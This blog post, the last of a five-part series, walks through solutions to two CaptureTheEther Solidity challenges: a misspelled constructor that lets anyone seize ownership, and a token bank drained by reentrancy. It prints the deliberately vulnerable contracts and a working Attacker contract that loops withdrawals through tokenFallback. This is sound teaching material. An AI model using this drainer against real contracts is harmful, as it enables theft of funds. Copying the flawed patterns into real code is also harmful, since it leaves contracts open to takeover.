Solving CaptureTheEther - Part 5 of 5 - Miscellaneous

Overview

This last category of challenges is a mix of various types of vulnerabilities that don't really fit into any of the other categories.

Info

All my solutions to CaptureTheEther were coded some time ago, while I was still new at Solidity and EVM. All of them work, however they certainly don't meet any good coding recommendation whatsoever.

It was part of my learning path, and I don't intend to update them as it serves me (and hopefully you too!) as a remainder that learning is a never-ending process that rewards you when you look back and see your real progress.

The complete code for these solutions is at my CTE-Solutions github repo.


Assume ownership


Simple challenge where the solution is to become the owner. Good test for attention to details.

Contract analysis

In order to set bool isComplete to true, the owner has to call authenticate(). However, the owner is the contract deployer, not the player.

 1pragma solidity ^0.4.21;
 2
 3contract AssumeOwnershipChallenge {
 4    address owner;
 5    bool public isComplete;
 6
 7    function AssumeOwmershipChallenge() public {
 8        owner = msg.sender;
 9    }
10
11    function authenticate() public {
12        require(msg.sender == owner);
13
14        isComplete = true;
15    }
16}

Vulnerability / Attack vector

What seems to be the constructor is not a constructor, because its name is different from the contract.

Solution

The function AssumeOwmershipChallenge() has a typo: the word Owmership should be Ownership. This makes it a public normal function, not a constructor, so anyone can call it and become the owner.

To solve the level, call AssumeOwmershipChallenge() and then authenticate().

Conclusions

A typo in the constructor name created a huge vulnerability. Modern Solidity versions require the constructor to be defined as constructor() instead, to avoid these risks.

This used to be an easy mistake to make back in the day, when people changed the contract name and not the constructor.


Token bank


This challenge is about a token bank, that is, a contract that allows anyone to deposit tokens and withdraw them later. The challenge mints a total of 1000000 tokens upon deployment, with half of those assigned to the player. The goal is to empty the bank.

Contract analysis

There are two contracts in this level. The first one implements the ERC-223 compliant SimpleERC223Token:

 1pragma solidity ^0.4.21;
 2
 3interface ITokenReceiver {
 4    function tokenFallback(address from, uint256 value, bytes data) external;
 5}
 6
 7contract SimpleERC223Token {
 8    // Track how many tokens are owned by each address.
 9    mapping (address => uint256) public balanceOf;
10
11    string public name = "Simple ERC223 Token";
12    string public symbol = "SET";
13    uint8 public decimals = 18;
14
15    uint256 public totalSupply = 1000000 * (uint256(10) ** decimals);
16
17    event Transfer(address indexed from, address indexed to, uint256 value);
18
19    function SimpleERC223Token() public {
20        balanceOf[msg.sender] = totalSupply;
21        emit Transfer(address(0), msg.sender, totalSupply);
22    }
23
24    function isContract(address _addr) private view returns (bool is_contract) {
25        uint length;
26        assembly {
27            //retrieve the size of the code on target address, this needs assembly
28            length := extcodesize(_addr)
29        }
30        return length > 0;
31    }
32
33    function transfer(address to, uint256 value) public returns (bool success) {
34        bytes memory empty;
35        return transfer(to, value, empty);
36    }
37
38    function transfer(address to, uint256 value, bytes data) public returns (bool) {
39        require(balanceOf[msg.sender] >= value);
40
41        balanceOf[msg.sender] -= value;
42        balanceOf[to] += value;
43        emit Transfer(msg.sender, to, value);
44
45        if (isContract(to)) {
46            ITokenReceiver(to).tokenFallback(msg.sender, value, data);
47        }
48        return true;
49    }
50
51    event Approval(address indexed owner, address indexed spender, uint256 value);
52
53    mapping(address => mapping(address => uint256)) public allowance;
54
55    function approve(address spender, uint256 value)
56        public
57        returns (bool success)
58    {
59        allowance[msg.sender][spender] = value;
60        emit Approval(msg.sender, spender, value);
61        return true;
62    }
63
64    function transferFrom(address from, address to, uint256 value)
65        public
66        returns (bool success)
67    {
68        require(value <= balanceOf[from]);
69        require(value <= allowance[from][msg.sender]);
70
71        balanceOf[from] -= value;
72        balanceOf[to] += value;
73        allowance[from][msg.sender] -= value;
74        emit Transfer(from, to, value);
75        return true;
76    }
77}

The second contract is the challenge itself:

 1contract TokenBankChallenge {
 2    SimpleERC223Token public token;
 3    mapping(address => uint256) public balanceOf;
 4
 5    function TokenBankChallenge(address player) public {
 6        token = new SimpleERC223Token();
 7
 8        // Divide up the 1,000,000 tokens, which are all initially assigned to
 9        // the token contract's creator (this contract).
10        balanceOf[msg.sender] = 500000 * 10**18;  // half for me
11        balanceOf[player] = 500000 * 10**18;      // half for you
12    }
13
14    function isComplete() public view returns (bool) {
15        return token.balanceOf(this) == 0;
16    }
17
18    function tokenFallback(address from, uint256 value, bytes) public {
19        require(msg.sender == address(token));
20        require(balanceOf[from] + value >= balanceOf[from]);
21
22        balanceOf[from] += value;
23    }
24
25    function withdraw(uint256 amount) public {
26        require(balanceOf[msg.sender] >= amount);
27
28        require(token.transfer(msg.sender, amount));
29        balanceOf[msg.sender] -= amount;
30    }
31}

The ERC-223 standard implements a tokenFallback(address, uint256, bytes) function that should be called upon transferring tokens to a contract. This, as stated in the specification, is made to prevent an unintended transfer of tokens to a contract that is not prepared to deal with them.

Vulnerability / Attack vector

There are two flaws in this challenge:

  • Bad accounting of tokens in the TokenBankChallenge contract. The bank contract accounting is different from the token contract accounting.
  • There's an external call with a potential reentrancy vulnerability in line 46 of the first contract code listing.

Solution

Upon creation, the challenge contract (TokenBankChallenge) mints 1000000 tokens, and in its internal accounting, gives half of it to the contract deployer, and the other half to the player. However, the SimpleERC223Token constructor has an independent accounting and the full million tokens are owned by the challenge contract.

When someone calls withdraw(uint256), the function calls the transfer(address, uint256) method of the token, and after that, it updates the balances. The token’s contract calls the target’s tokenFallback(address, uint256, bytes) function if the receiver of a transfer is a contract, in order to trigger an update of its internal accounting.

The reentrancy attack lies in the order of operations in that scenario. The external call is made first, and the balances are updated later. We can take advantage of this call by creating a contract that transfers some tokens to the challenge contract, and then exploits the reentrancy bug, emptying the balance. To do this, the attacking contract should have some SET tokens, so there must be a manual transfer from the player to the contract, by means of calling transfer(address, uint256) on the token contract with appropriate parameters.

Once the attacker contract has some SET balance, the exploit can take place. Here’s the code I used for the attack:

 1contract Attacker is ITokenReceiver {
 2    SimpleERC223Token token;
 3    TokenBankChallenge target;
 4    bool funded;
 5    
 6    function Attacker(address _tokenAddr, address _target) public {
 7        token = SimpleERC223Token(_tokenAddr);
 8        target = TokenBankChallenge(_target);
 9    }
10    
11    function attack() public {
12        token.transfer(target, 500000 * 10**18);
13        funded = true;
14        target.withdraw(500000 * 10**18);
15    }
16    
17    function tokenFallback(address from, uint256 value, bytes) external {
18        if(funded == true) {
19            while(token.balanceOf(target) > 0) { 
20                target.withdraw(500000 * 10**18);
21            }
22        }
23    }
24}

Conclusions

Reentrancy attacks are a common occurrence when dealing with external calls to unknown functions. It is recommended to follow the check-effects-interactions pattern, and if needed, implement mitigations such as OpenZeppelin's ReentrancyGuard.

Posts in this Series

comments powered by Disqus